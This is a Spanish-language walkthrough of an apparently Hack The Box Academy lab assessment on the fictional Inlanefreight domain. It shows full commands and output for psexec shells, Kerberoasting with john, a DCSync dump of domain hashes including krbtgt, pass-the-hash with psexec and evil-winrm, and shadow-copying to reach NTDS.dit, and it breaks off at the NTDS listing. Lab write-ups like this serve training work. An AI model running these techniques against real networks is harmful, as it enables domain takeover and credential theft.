Somos un pentester de Acme Security, Ltd. Su equipo ha sido contratado para realizar una prueba de penetración interna en una de las redes internas de Inlanefreight. El evaluador asignado al proyecto tuvo que ausentarse inesperadamente, por lo que su gerente le ha encomendado la tarea de hacerse cargo de la evaluación. Ha tenido poca comunicación con el evaluador, y todas sus notas se guardan en la máquina virtual de pruebas configurada dentro de la red interna. El alcance proporcionado por el cliente es el siguiente:
Alcance de la red:172.16.5.0/24
Dominio:INLANEFREIGHT.LOCAL
Tu compañero de equipo ya ha creado una estructura de directorio y un cuaderno de Obsidian detallado para registrar sus actividades de prueba. Hicieron una lista, 13 findingspero solo registraron evidencia de algunas. Conviértete en el evaluador de penetración y completa este simulacro de prueba lo mejor que puedas.
Objetivo(s): 10.129.177.16 (ACADEMY-DOCRPT-PAR01)
RDP con el usuario "htb-student" y la contraseña "HTB_@cademy_stdnt!"
Pregunta 1
Conéctate a la máquina virtual de prueba mediante Xfreerdp y practique las pruebas, la documentación y la generación de informes con el laboratorio objetivo. Una vez que el objetivo se genere, acceda a la instancia de WriteHat en el puerto 443 y autentíquese con las credenciales de administrador proporcionadas. Experimente con la herramienta y practique añadiendo hallazgos a la base de datos para familiarizarse con las herramientas de informes disponibles. Recuerde que todos los datos se perderán al reiniciar el objetivo, así que guarde los hallazgos de práctica localmente. A continuación, complete la prueba de penetración en curso. Una vez que obtenga acceso de administrador de dominio, envíe el contenido del archivo flag.txt al Escritorio del administrador en el host DC01.
Una vez que accedemos nos encontramos un cuadernos de Obsidian con una estructura super completa de pentesting:
En el apartado Evidence > FIndings > H5 nos encontramos las credenciales del usuario administrator, que usaremos para conseguir una shell SYSTEM en el sistema objetivo:
┌─[✗]─[htb-student@par01]─[~]
└──╼ $impacket-psexec 'administrator:Welcome123!@172.16.5.130'
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 172.16.5.130.....
[*] Found writable share ADMIN$
[*] Uploading file wzacTqyu.exe
[*] Opening SVCManager on 172.16.5.130.....
[*] Creating service JqFR on 172.16.5.130.....
[*] Starting service JqFR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2237]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Este host no es el DC por lo que necesitaremos buscar más información. En el apartado Notes > Credentials encontramos la contraseña del usuario asmith, con el que podremos realizar el resto de ataques. Esta sección deberíamos ir anotando todas las credenciales que consigamos:
En el apartado Evidence > FIndings > H1 vemos que este usuario asmith puede realizar un ataque Kerberoasting, ya que ha recopilado cuentas válidas con GetUserSPNs.py:
Tenemos los hashes krb5tgs de varias cuentas! Vamos a guardarlos en un archivo hashes.txt y a crackearlos para obtener las contraseñas en plano en caso de que sean débiles.
$ john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Virtual_09 (svc_vmwaresso)
Solar1010 (solarwindsmonitor)
Sap82696 (SAPService)
3g 0:00:00:12 DONE (2025-04-02 21:46) 0.2491g/s 1191Kp/s 5017Kc/s 5017KC/s
Obtenemos 3 contraseñas en plano. Estas contraseñas deberíamos añadirlas en el apartado Notes > Credentials
DCSync
Utilizando las credenciales de solarwindsmonitor conseguimos realizar un volcado de todos los hashes del sistema, con lo que estaría el dominio totalmente comprometido:
$ secretsdump.py INLANEFREIGHT.LOCAL/solarwindsmonitor:Solar1010@172.16.5.5
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x0e79d2e5d9bad2639da4ef244b30fda5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a0eed386fa4e62210e41961f91dcf14d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
INLANEFREIGHT\DC01$:aes256-cts-hmac-sha1-96:59adbfc4757ea1e3eaa12eabbd12046090a973fd9299f9f8cfc4e6b79d88c5c1
INLANEFREIGHT\DC01$:aes128-cts-hmac-sha1-96:7643dd01136ab821f3ad7ccb18654134
INLANEFREIGHT\DC01$:des-cbc-md5:928a109dec13e6b9
INLANEFREIGHT\DC01$:plain_password_hex:0aadab9bc7c8149a77e67a4034a1339575f5e336bbb72aea4ecba23dca8aee01947ff6995f85ae75cc66fe050200f5e0815d3f657af766d8d3a8d5df36d0ad06f9af7e1626d4637f8c2cb971bf19be432e8539e43c168b207440fb1c0e3b69e21eb6b49cb48be8f4a64524d9389478754101c7569a447bfec14a6a65a9f8e6335d4cc39801008382ad1b90a2e1240d8c954c16797eb767c011a430a78b03f887ad0ca745bc0de7b8b711886908489fcaacf287a5f2591adb5d5230e071bb676ba1850a5d38238f6d715d068b12be6aa5de5f7b2eeed0af1eb1e89879998b7bcfad196503e97de801f47b9308e83e8b41
INLANEFREIGHT\DC01$:aad3b435b51404eeaad3b435b51404ee:583299d59647fd861971a2e9fbae5123:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x519c86b4cbdc978b359bc039173416623198c107
dpapi_userkey:0xce7d9f94fce72cd9598ac60710787c0d9a56ce0b
[*] NL$KM
0000 A2 52 9D 31 0B B7 1C 75 45 D6 4B 76 41 2D D3 21 .R.1...uE.KvA-.!
0010 C6 5C DD 04 24 D3 07 FF CA 5C F4 E5 A0 38 94 14 .\..$....\...8..
0020 91 64 FA C7 91 D2 0E 02 7A D6 52 53 B4 F4 A9 6F .d......z.RS...o
0030 58 CA 76 00 DD 39 01 7D C5 F7 8F 4B AB 1E DC 63 X.v..9.}...K...c
NL$KM:a2529d310bb71c7545d64b76412dd321c65cdd0424d307ffca5cf4e5a03894149164fac791d20e027ad65253b4f4a96f58ca7600dd39017dc5f78f4bab1edc63
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
inlanefreight.local\administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
lab_adm:1001:aad3b435b51404eeaad3b435b51404ee:663715a1a8b957e8e9943cc98ea451b6:::
Pass the Hash
Tenemos el hash del administrador, con lo que podríamos realizar un Pass the Hash para conseguir una Shell SYSTEM como Administrator:
$ psexec.py inlanefreight.local/Administrator@172.16.5.5 -hashes :88ad09182de639ccc6579eb0849751cf
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 172.16.5.5.....
[*] Found writable share ADMIN$
[*] Uploading file zlutpFJi.exe
[*] Opening SVCManager on 172.16.5.5.....
[*] Creating service tfoT on 172.16.5.5.....
[*] Starting service tfoT.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Acceso a la flag
C:\Windows\system32> cd c:/Users/Administrator/Desktop
c:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is B8B3-0D72
Directory of c:\Users\Administrator\Desktop
06/08/2022 02:49 PM <DIR> .
06/08/2022 02:49 PM <DIR> ..
06/08/2022 02:49 PM 22 flag.txt
1 File(s) 22 bytes
2 Dir(s) 18,093,752,320 bytes free
c:\Users\Administrator\Desktop> type flag.txt
d0c_pwN_r3p0rt_**********
Pregunta 2
Después de obtener el estatus de administrador del dominio, envíe el hash NTLM de la cuenta KRBTGT.
En la salida del ataque DCSync vemos el hash del usuario KRBTGT:
Descarga el archivo NTDS y realice el descifrado de contraseñas sin conexión. Envíe la contraseña del usuario svc_reporting como respuesta.
Pass the Hash con Evil-WinRM
$ evil-winrm -i 172.16.5.5 -u Administrator -H 88ad09182de639ccc6579eb0849751cf
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\> whoami
inlanefreight\administrator
Crear Shadow Copy de C:
*Evil-WinRM* PS C:\> vssadmin CREATE SHADOW /For=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
Successfully created shadow copy for 'C:\'
Shadow Copy ID: {7da7bb5f-5387-48b3-9528-03607b8fa090}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
*Evil-WinRM* PS C:\> cd C:\NTDS
*Evil-WinRM* PS C:\NTDS> ls
Directory: C:\NTDS
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/2/2025 3:34 PM 88080384 NTDS.dit